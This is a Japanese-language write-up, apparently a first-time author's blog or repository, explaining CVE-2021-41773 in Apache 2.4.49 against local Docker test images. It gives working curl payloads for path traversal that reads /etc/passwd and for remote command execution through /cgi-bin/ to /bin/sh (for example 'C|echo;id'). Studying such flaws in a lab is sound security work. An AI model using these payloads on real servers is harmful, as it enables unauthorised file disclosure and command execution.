noflowpls/cve-2021-41773CVE-2021-41773
みなさん、こんにちは。昨日、Apache 2.4.49 向けの新しい CVE-2021-41773 が公開されました。そこで今回は、この Apache の脆弱性について説明したいと思います。
みなさんもこの脆弱性をウェブサイトでテストしてみたいでしょう。そこで、みなさんのためのプレイグラウンド（テスト環境）を用意しました。 Apache 2.4.49 のサンプル Docker イメージをダウンロードできるサイトはこちらです: Docker Image
注: with-cgid と no-cgid の2つのイメージがあります。両方のイメージをダウンロードする必要があります。
まず、docker image を自分のマシンにダウンロードしてください。
no-cgid: sudo docker pull blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker pull blueteamsteve/cve-2021-41773:with-cgid
no-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid
with-cgid: sudo docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:with-cgid
正直に言うと、彼がどうやってこの脆弱性を見つけたのかは分かりません。そのため、これについて完全に説明することはできません。しかし、この CVE について私が理解しているすべてを説明するために最善を尽くします。
この CVE は、2つの脆弱性があるため少し興味深いです。それらは LFDLocal file disclosure（ローカルファイル開示） と RCE Remote Code Execution（リモートコード実行） です。いいですね！ では、この投稿ではこの CVE の両方の脆弱性について説明します。
では、Local file disclosure の脆弱性から始めましょう。Apache に慣れている方なら、cgi-bin（Common Gateway Interface）が Apache 2.4.49 において、Web サーバーが外部のコンテンツ生成プログラムとやり取りする方法を定義するデフォルトパスであることにお気づきでしょう。
しかし、このパスは誰にとっても、そして管理者にとっても Forbidden です。ふむ、それは興味深いですよね？
また、Local file disclosure の脆弱性に詳しい方なら、ほとんどの LFD 脆弱性が forbidden パスで発生することをご存知かもしれません。
では、/cgi-bin/ パスで LFI の単純なペイロードをテストしてみましょう。
/etc/passwd の前に ../../../../../ を付けました。
（../ が何か知りたい場合は、このブログ記事をチェックしてください: Local file disclosure bypass）
curl の場合:
curl http://localhost:8080/cgi-bin/../../../../../etc/passwd
Burp Suite の場合:
ご覧のとおり、この単純なペイロードではエラーが発生しました。curl では 404 ステータスコード Not Found エラー、Burp では 400 Bad Request エラーになりました。
つまり、ペイロードを URL エンコードする必要があるということです。では、試してみて、何が得られるか見てみましょう。
そこで、. を URL エンコードしました。注: URL エンコードでは . は %2E、また %2e です。
curl の場合:
curl http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Burp の場合:
はい！ これでペイロードが機能しました。ウェブサイトの /etc/passwd を読むことができます。
これで、この CVE の LFD 脆弱性について理解していただけたと思います。それでは、この Apache 2.4.49 の CVE の RCE 脆弱性に進みましょう。
この CVE の RCE 脆弱性を説明するには、RCE と linux basics の基礎をいくつか理解する必要があります。
RCE とは何かについては、このブログ記事をチェックしてください: What is RCE
ああ、linux basics が必要だと言ったのは間違いだと思ったでしょう？ いいえ、間違いではありません。実際にそれが必要だからです。では始めましょう！
まず、動作するペイロードを示します。その後、それがどのように機能するかを説明します。
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;whoami'
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
curl の場合:
では、このペイロードについて説明します。
curl http://localhost:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -d 'C|echo;id'
ご覧のとおり、パス /cgi-bin/ とエンコード .%2e は同じです。しかし、ここではさらに2つのオプションがあります。それは -d data と /bin/sh /bin/bash です。では、なぜこれらを付ける必要があるのか説明します。
まず、私たちはリモートコード実行を手に入れたいのですよね？
ご存知のとおり、Linux ベースのシステムでは /bin/bash がコマンドやシェルを実行・入力するための主要な部分です。したがって、Web サーバーでコマンドを実行するには bash が必要です。こちらをチェックしてくださいWhat is Bash in linux。
さて、ここで /bin/sh を取得できるとしましょう。あとはコマンドを注入するだけです。注入データは curl のデータとして送ることができます。
私たちのペイロードは C|echo;id です。これが何かを説明します。
C は何でもありません。| の前には好きなものを置けます。例えば Comdey| のように。
echo;id は単なる Linux のテクニックです。だから、linux の基礎が必要だと言ったのです。 Echo basics
これらを組み合わせると、Apache 2.4.49 で RCE が得られます。
読んでくれてありがとうございます。これは私にとって初めての CVE に関する writeup です。説明が下手だったら許してください。そして、アドバイスもぜひください。
